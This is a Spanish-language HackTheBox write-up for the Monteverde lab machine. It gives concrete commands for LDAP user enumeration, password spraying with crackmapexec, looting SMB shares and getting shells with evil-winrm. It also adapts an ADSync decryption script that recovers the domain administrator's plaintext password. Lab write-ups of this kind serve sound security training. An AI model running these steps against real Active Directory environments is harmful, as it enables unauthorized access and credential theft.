5ubterranean@home:~$

HTB Monteverde Write-up (Español)

I cloned my writeup that was originally posted on medium

Monteverde es una máquina basada en Windows que estuvo activa desde el 11 de Enero del 2020 hasta el 13 de Junio, empezaremos enumerando usuarios con ldapsearch, probaremos un ataque por diccionario y obtendremos que un usuario usa su username también como contraseña, revisando los archivos a los que tiene acceso este usuario encontraremos credenciales de otro usuario, este nuevo usuario es parte del grupo Azure Admins, pertenecer a este grupo nos permitirá extraer la credenciales de Administrador de la base de datos presente en la máquina.

Enumeración

Empezamos usando masscan para encontrar todos los puertos disponibles y luego usamos nmap para conseguir más información de los mismos.

masscan -e tun0 — rate=500 -p 0–65535 10.10.10.172  
nmap -sC -sV -p 49673,49675,49674,49667,9389,3268,445,53,5985,464,56439,389,3269,593,88,636,139,135, -Pn -o scan.txt 10.10.10.172

PORT      STATE SERVICE       VERSION  
53/tcp    open  domain?  
| fingerprint-strings:   
|   DNSVersionBindReqTCP:   
|     version  
|\_    bind  
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-25 02:23:28Z)  
135/tcp   open  msrpc         Microsoft Windows RPC  
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn  
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)  
445/tcp   open  microsoft-ds?  
464/tcp   open  kpasswd5?  
593/tcp   open  ncacn\_http    Microsoft Windows RPC over HTTP 1.0  
636/tcp   open  tcpwrapped  
3268/tcp  open  ldap  
3269/tcp  open  tcpwrapped  
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
|\_http-server-header: Microsoft-HTTPAPI/2.0  
|\_http-title: Not Found  
9389/tcp  open  mc-nmf        .NET Message Framing  
49667/tcp open  msrpc         Microsoft Windows RPC  
49673/tcp open  ncacn\_http    Microsoft Windows RPC over HTTP 1.0  
49674/tcp open  msrpc         Microsoft Windows RPC  
49675/tcp open  msrpc         Microsoft Windows RPC  
56439/tcp open  msrpc         Microsoft Windows RPC

Tenemos diversos puertos abiertos, pero ya que tenemos LDAP disponible empezamos por ahí, usamos ldapsearch, hacemos una petición por el naming context para confirmar el dominio obtenido por nmap: ldapsearch -x -h 10.10.10.172 -s base namingcontexts.

Bien, confirmamos que el dominio es MEGABANK.LOCAL, ahora enumeramos todos los usuarios disponibles, esto se hace haciendo una petición especificando que solo nos devuelva las entradas donde “objectclass” sea de tipo “user”, y filtramos para crear una lista: ldapsearch -x -h 10.10.10.172 -b "DC=MEGABANK,DC=LOCAL" 'objectClass=user' | grep sAMAccountName | awk '{print $2}'.

Los tres primeros usuarios, Guest, MONTEVERDE$ y AAD_987d7f2f57d2 son unos creados automáticamente por el servidor, ya que no hay forma de conseguir sus contraseñas por fuerza bruta o diccionario las quitamos de la lista y la guardamos como “users.txt”, ahora usamos crackmapexec para atacar el servidor usando “users.txt” como lista de usuarios y contraseñas: cme smb 10.10.10.172 -u users.txt -p users.txt.

Ganando acceso

Encontramos que “SABatchJobs” es usado como usuario y contraseña de una cuenta, volvemos a usar crackmapexec para comprobar a qué cosas tiene acceso esta cuenta: cme smb 10.10.10.172 -u SABatchJobs -p SABatchJobs -- shares.

Tenemos acceso de lectura a unas cuantas carpetas compartidas, en Nest monté las carpetas compartidas y usé tree para revisarlas, en este casó usaremos smbmap para cumplir el mismo objetivo, para esto usamos: smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R.

Solo muestro el comienzo de la salida ya que es mucho más larga, pero esto nos cumple el mismo cometido, nos lista los contenidos de todas las carpetas compartidas a las que tenemos acceso, lo más interesante que vemos es que tenemos acceso a la carpeta compartida del usuario “mhope” en “users$”.

Nos conectamos a la carpeta compartida usando smbclient, smbclient \\\\10.10.10.172\\users$ -U SABatchJobs, y descargamos el archivo “azure.xml”, al leerlo nos encontramos con una contraseña.

Si bien encontramos esta contraseña dentro de la carpeta de “mhope”, usamos crackmapexec para confirmar que no sea de otro usuario, cme smb 10.10.10.172 -u users.txt -p '4n0therD4y@n0th3r$'.

Usamos evil-winrm para conseguir una shell en la máquina, evil-winrm -i 10.10.10.172 -u mhope-p '4n0therD4y@n0th3r$'.

Y conseguimos el “user.txt”.

Escalación de privilegios

Revisamos a qué grupos pertenece este usuario con whoami /all.

El grupo más interesante de estos es “Azure Admins”, buscamos formas de usar este grupo para escalar privilegios y nos encontramos este github con algunos scripts para extraer credenciales de Azure AD, este nos da un link a un blog con un script que hace lo mismo, usaremos este último y lo guardaremos como “azuread_decrypt_msol.ps1”, lo descargamos a la máquina objetivo usando python3 -m http.server, en nuestra máquina e Invoke-WebRequest, en la máquina Windows, y procedemos a ejecutarlo.

El script no funciona, y nos da una larga cadena de errores, ya que es un script podemos ejecutarlo línea por línea para encontrar la que provoca el error.

La segunda línea es la que provoca el error, aunque esta actúa según lo especificado en la primera, y el error nos indica que no pudo encontrar el servidor, la línea original es $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList “Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync”, luego de hacer unas pruebas encontramos que debemos cambiar “Data Source” el cual indica el servidor y la base de datos, por “server” y “database” que indica lo mismo pero en dos valores separados, además tenemos que agregar “Intedrated Security = True”, por lo que la primera línea ahora será: $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList “server=localhost;database=ADSync;Initial Catalog=ADSync;Integrated Security = True”, ahora que hemos modificado el script volvemos a subirlo a la máquina y lo ejecutamos.

Obtenemos las credenciales de administrator, Username: administrator Password: d0m@in4dminyeah!, nos conectamos con evil-winrm.

Y conseguimos el “root.txt”, con esto hemos terminado con la máquina.

Descargo de responsabilidad

Todos los recursos brindados en este post se hicieron puramente con fines educativos y de concientización, el autor no se hace responsable por las acciones que las personas puedan realizar con el contenido del mismo.